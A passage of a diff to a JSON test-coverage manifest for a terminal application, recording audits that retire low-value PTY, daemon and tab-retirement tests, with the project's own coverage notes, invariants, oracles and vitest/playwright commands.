transferred historical pass. Unrelated complete dated receipts retain only their original exact scopes; no equivalent replacement, rendered UI, provider, mobile, or cross-platform coverage is claimed.",
+        "NEXT65 historical original active parent-selector fields (verbatim native JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/terminal-shell-recovery-barrier.test.ts src/main/daemon/sessions/testing/session-shell-recovery.test.ts src/main/daemon/sessions/testing/session.test.ts src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts src/main/providers/agent-foreground-process.test.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/terminal/layout/mobile-presence-lock.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts --reporter=dot\",\n        \"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/cross-version-wire/cross-version-terminal-wire.unit.test.ts --reporter=dot\",\n        \"pnpm exec electron-vite build --mode e2e\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n      ]\ntestFiles: [\n        \"src/main/daemon/shell-readiness/testing/terminal-shell-recovery-barrier.test.ts\",\n        \"src/main/daemon/sessions/testing/session-shell-recovery.test.ts\",\n        \"src/main/daemon/sessions/testing/session.test.ts\",\n        \"src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts\",\n        \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n        \"src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts\",\n        \"src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts\",\n        \"src/main/providers/agent-foreground-process.test.ts\",\n        \"src/main/runtime/construction/orca-runtime.test.ts\",\n        \"src/main/runtime/terminal/layout/mobile-presence-lock.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts\",\n        \"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts\",\n        \"tests/e2e/cross-version-wire/cross-version-terminal-wire.unit.test.ts\",\n        \"tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/main/daemon/sessions/testing/session-shell-recovery.test.ts\",\n          \"assertions\": [\n            \"post-kill shell output survives into the normalized snapshot instead of the discarded alt buffer\",\n            \"a snapshot taken during a split escape keeps the pending tail intact and stale proof is revoked by the completing bytes\"\n          ]\n        },\n        {\n          \"file\": \"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts\",\n          \"assertions\": [\n            \"the pending tail this gate threads over the wire folds identically at every code-unit split of the combined stream, including boundaries landing inside oscEsc/stringEsc\",\n            \"the split sweep runs over an alphabet carrying CAN, SUB, doubled ESC inside OSC/DCS/SOS/PM/APC, BEL, C1 ST, NUL, DEL, intermediates, CJK, astral, and lone surrogates\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts\",\n          \"assertions\": [\n            \"normal exit and cleanup-free SIGKILL both restore a visible clean shell marker\",\n            \"renderer logical buffer is normal and mouse tracking is disabled after host-proven recovery\",\n            \"real pointer input writes no SGR mouse report to the surviving shell\",\n            \"an unrelated pane remains live\"\n          ]\n        }\n      ]",
         "Audit3077 deletes the Kitty restore/reset integration suite and its registrar. The input-and-repaint driver remains populated; the retired emission/mirror/host-request alarms have no equivalent replacement.",
         "Audit3061 retires the park-model supplied snapshot suite and nominal mode, cursor, focus, geometry and remote resume metadata variants. Their distinct alarms are intentionally lost; six retained mode/remote cases preserve selected tail-order, authority and parse-readiness boundaries without equivalent replacement. Existing selectors and dated evidence retain their original scope.",
         "Audit3053 reduces hidden-replay coverage by retiring nominal overlap, resize, cursor metadata and standalone stalled-restore variants. Timeout, overflow, identity/generation fences and retained live-output coordination remain; the removed alarms are intentionally lost without equivalent replacement. Existing commands, assertion references and dated evidence retain their original scope.",
@@ -6364,7 +6230,7 @@
       "providers": ["local", "daemon", "ssh", "runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local", "daemon", "ssh", "runtime"],
-      "coverageNotes": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Live macOS Electron tests prove exact local PTY disappearance after parked-tab close and detached-pgid descendant death after agent close. A deterministic final-pane interleaving now proves durable tab retirement commits before externally owned PTY teardown can publish graph loss, and preserves an unrelated live canary through duplicate exit retirement. Deterministic tests also cover final-pane CLI close durability and same-incarnation handle continuity; persisted-empty restart suppression remains historical Electron evidence, alongside replacement and hard graph-loss stale fencing, preallocated-handle supersession, daemon and SSH routing, local/daemon pending-snapshot ownership across natural exit, stale-root descendant-signal suppression, graceful-to-immediate kill upgrades, duplicate-kill completion sharing, locale-stable bounded/fresh/coalesced process-table reads, deadline-safe successor scans, cycle-safe linear descendant traversal, target-only escalation indexing, 32-wide bulk teardown, source-scan timestamp identity, same-second PID ambiguity, ordinary runtime close ownership, unified-only hydration, split ownership, pane detach transfer, restart alias hydration, and late-hook suppression; live Linux, Windows, WSL, SSH, and remote-runtime process evidence remains pending. A paired macOS Electron journey (real attached-window desktop host plus a separate real paired desktop client, isolated profiles) covers the inverse authority direction for host-created terminals: a renderer graph sync must not retire a tab that `orca terminal create` made. The retained paired journey covers the incident shape the real CLI produces - a repo's FIRST host-created terminal, since src/cli/handlers/terminal.ts sends no clientMutationId. The repeated target-after-unrelated-terminal journey was retired; its separate ordering alarm is no longer provided. An earlier reading of this gate called a preceding host-created terminal and a `clientMutationId` protective; main-process instrumentation refuted that. The renderer's stale session write deleted the host tab from persistence in every variant, and only the delete's timing relative to the measured sync differed, so those rows were false negatives of a single-sync oracle. The defect was in persistence: persistPtyBinding did not raise the repo's terminal topology fence for the first host-admitted tab, leaving the renderer's pre-create tab list free to replay over it. Elapsed time and paired-client mirroring never decided anything. A windowless `orca serve` parity arm runs the identical oracle and passes on both the merge-base and the branch, confirming that topology does not exhibit the defect (the gate it turns on is window-conditioned) and that making the host binding unconditional did not regress it. All of this is macOS-local only. The reported incident occurred on a physical Windows host; we did not run against one. The claim that the mechanism is platform-independent rests on the authoritative-window gate and publication-epoch inheritance being OS-agnostic, not on Windows evidence, so no ConPTY, Windows window-lifecycle, update, or sleep behavior is covered here. The synthetic default-tabs unit suite was retired: its explicit-empty/default-tab assertions no longer supply unit evidence. This retirement supplies no new persisted-restart, runtime-routing, cross-platform, or mobile evidence; existing historical runs and counts remain historical. The test-value audit removes the isolated re-retirement-token/epoch, activity-cutoff, idle-reattach and sibling-restore examples. The cited exact retirement and chained-detach cases remain unchanged, alongside closed-tab revival fencing and alias churn bounds. Their retained evidence is not equivalent coverage for every removed permutation; historical execution evidence is unchanged. The test-value audit removed shared-owner snapshot/cold-restore reference examples, a direct absent-tab PTY-index update, caller-supplied host-owned teardown boolean/no-dispatch, and a single local-provider rejection example. It also removed hand-built detach-retention comparator examples for different runs, handles, provider identities, and handle-less rows without independent identity ingress. Their specific snapshot, missing-tab, host-decision, rejection-count, and comparator alarms are lost. Current exact authority/ordering and chained-detach cases remain retained; they do not establish equivalent coverage for the removed examples. Historical commands, counts, results, and red-green narratives remain historical. The test-value audit retires terminals-explicit-empty-hydration.test.ts in full: its direct git/folder empty-tombstone assertions and literal-flag auto-create helper check are lost. The store test never mounted the initial-terminal effect or performed a persisted restart. The audit also removes terminal-tab-retirement.test.ts pure ownership/alias/routing plan inventories and sleeping-record map assertions; its former 100-tab scan-count case was subsequently retired too; no assertion remains in that suite. These retained and historical cases do not establish equivalent tombstone, default-create, provider teardown, cross-platform, or mobile coverage. Historical commands, results, counts, and red-green narratives remain historical. The subsequent test-value audit deletes the remaining terminal-tab-retirement.test.ts suite. Its 100-tab case asserted only returned plan count and one outer scan per ownership store; it never inspected per-tab plans or provider teardown. Those direct cardinality/work-count alarms are intentionally lost. Historical executed commands, results, counts and red-green narratives remain historical; no equivalent replacement or new runtime, platform or mobile evidence is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1392: src/main/agent-hooks/server-pane-authority.test.ts reduced. Retires one duplicate-transfer no-op listener count and latest pty/timestamp callback fixture. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
+      "coverageNotes": "Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Live macOS Electron tests prove exact local PTY disappearance after parked-tab close and detached-pgid descendant death after agent close. A deterministic final-pane interleaving now proves durable tab retirement commits before externally owned PTY teardown can publish graph loss, and preserves an unrelated live canary through duplicate exit retirement. Deterministic tests also cover final-pane CLI close durability and same-incarnation handle continuity; persisted-empty restart suppression remains historical Electron evidence, alongside replacement and hard graph-loss stale fencing, preallocated-handle supersession, daemon and SSH routing, local/daemon pending-snapshot ownership across natural exit, stale-root descendant-signal suppression, graceful-to-immediate kill upgrades, duplicate-kill completion sharing, locale-stable bounded/fresh/coalesced process-table reads, deadline-safe successor scans, cycle-safe linear descendant traversal, target-only escalation indexing, 32-wide bulk teardown, source-scan timestamp identity, same-second PID ambiguity, ordinary runtime close ownership, unified-only hydration, split ownership, pane detach transfer, restart alias hydration, and late-hook suppression; live Linux, Windows, WSL, SSH, and remote-runtime process evidence remains pending. A paired macOS Electron journey (real attached-window desktop host plus a separate real paired desktop client, isolated profiles) covers the inverse authority direction for host-created terminals: a renderer graph sync must not retire a tab that `orca terminal create` made. The retained paired journey covers the incident shape the real CLI produces - a repo's FIRST host-created terminal, since src/cli/handlers/terminal.ts sends no clientMutationId. The repeated target-after-unrelated-terminal journey was retired; its separate ordering alarm is no longer provided. An earlier reading of this gate called a preceding host-created terminal and a `clientMutationId` protective; main-process instrumentation refuted that. The renderer's stale session write deleted the host tab from persistence in every variant, and only the delete's timing relative to the measured sync differed, so those rows were false negatives of a single-sync oracle. The defect was in persistence: persistPtyBinding did not raise the repo's terminal topology fence for the first host-admitted tab, leaving the renderer's pre-create tab list free to replay over it. Elapsed time and paired-client mirroring never decided anything. A windowless `orca serve` parity arm runs the identical oracle and passes on both the merge-base and the branch, confirming that topology does not exhibit the defect (the gate it turns on is window-conditioned) and that making the host binding unconditional did not regress it. All of this is macOS-local only. The reported incident occurred on a physical Windows host; we did not run against one. The claim that the mechanism is platform-independent rests on the authoritative-window gate and publication-epoch inheritance being OS-agnostic, not on Windows evidence, so no ConPTY, Windows window-lifecycle, update, or sleep behavior is covered here. The synthetic default-tabs unit suite was retired: its explicit-empty/default-tab assertions no longer supply unit evidence. This retirement supplies no new persisted-restart, runtime-routing, cross-platform, or mobile evidence; existing historical runs and counts remain historical. The test-value audit removes the isolated re-retirement-token/epoch, activity-cutoff, idle-reattach and sibling-restore examples. The cited exact retirement and chained-detach cases remain unchanged, alongside closed-tab revival fencing and alias churn bounds. Their retained evidence is not equivalent coverage for every removed permutation; historical execution evidence is unchanged. The test-value audit removed shared-owner snapshot/cold-restore reference examples, a direct absent-tab PTY-index update, caller-supplied host-owned teardown boolean/no-dispatch, and a single local-provider rejection example. It also removed hand-built detach-retention comparator examples for different runs, handles, provider identities, and handle-less rows without independent identity ingress. Their specific snapshot, missing-tab, host-decision, rejection-count, and comparator alarms are lost. Current exact authority/ordering and chained-detach cases remain retained; they do not establish equivalent coverage for the removed examples. Historical commands, counts, results, and red-green narratives remain historical. The test-value audit retires terminals-explicit-empty-hydration.test.ts in full: its direct git/folder empty-tombstone assertions and literal-flag auto-create helper check are lost. The store test never mounted the initial-terminal effect or performed a persisted restart. The audit also removes terminal-tab-retirement.test.ts pure ownership/alias/routing plan inventories and sleeping-record map assertions; its former 100-tab scan-count case was subsequently retired too; no assertion remains in that suite. These retained and historical cases do not establish equivalent tombstone, default-create, provider teardown, cross-platform, or mobile coverage. Historical commands, results, counts, and red-green narratives remain historical. The subsequent test-value audit deletes the remaining terminal-tab-retirement.test.ts suite. Its 100-tab case asserted only returned plan count and one outer scan per ownership store; it never inspected per-tab plans or provider teardown. Those direct cardinality/work-count alarms are intentionally lost. Historical executed commands, results, counts and red-green narratives remain historical; no equivalent replacement or new runtime, platform or mobile evidence is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1392: src/main/agent-hooks/server-pane-authority.test.ts reduced. Retires one duplicate-transfer no-op listener count and latest pty/timestamp callback fixture. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
       "motivatingLinks": [
         "https://linear.app/stably/issue/STA-4327",
         "https://github.com/stablyai/orca/pull/14590",
@@ -6373,7 +6239,7 @@
         "https://github.com/stablyai/orca/issues/14524"
       ],
       "invariant": "Close permanently removes the owned provider session, agent descendants, persisted tab/layout authority, and resume authority even when no TerminalPane is mounted; final-pane CLI close commits durable tab retirement before PTY stop can publish graph loss, does not acknowledge before that retirement, and treats the later exit retirement as idempotent. Workspace-wide CLI close applies that same durable contract to every terminal in exactly one worktree, including pinned and persisted-only surfaces, without touching sibling-worktree PTYs or resume records. A persisted explicit-empty state prevents initial-tab fallback from repopulating the workspace after reload or restart. A handle remains valid while the same provider-attested PTY incarnation survives renderer reload or re-key, and becomes stale without adopting a replacement incarnation. A terminating id remains reserved through natural exit, duplicate callers await the same completion, and immediate teardown upgrades any graceful request without signalling a recycled PID or a descendant tree after root ownership is lost; process-table work is locale-stable, bounded, fresh for each post-start request, same-turn coalesced, and begins within the requesting caller's deadline, including bulk worktree cleanup; detach and park preserve ownership; aliases prevent a detached agent's immutable physical pane key from being retired with its former tab.",
-      "oracle": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1674 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Capture exact tab, pane, PTY, handle, incarnation, and persisted layout identities. Final-pane terminal.close must invoke one durability-acknowledged tab retirement before exact PTY teardown; controlled PTY exit and graph removal afterward must remain idempotent, omit the target from persistence and provider inventory, and leave an unrelated canary handle live. terminal.closeAll must force-retire every pinned and unpinned target surface, clear its persisted agent-resume and incarnation records, await authoritative PTY exit, preserve a sibling worktree's tab, PTY, and resume authority, and return an unverifiable failure instead of claiming exit when the owning host does not confirm a stop. The ordinary path stays pending until the persisted row is removed and never falls back to the fire-and-forget pane event; reload/restart must keep the explicitly emptied worktree at zero terminal tabs and provider sessions. Reloading the renderer with the same tab/pane/PTY/incarnation must keep the handle readable; changing only the incarnation behind the same PTY id, losing the authoritative graph, or superseding the renderer handle with a preallocated handle must reject the old handle with terminal_handle_stale. Parked-close tests prove the exact PTY disappears; descendant/process tests keep natural exits reserved, upgrade teardown safely, bound/coalesce process-table work, and protect recycled identities.",
+      "oracle": "Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex 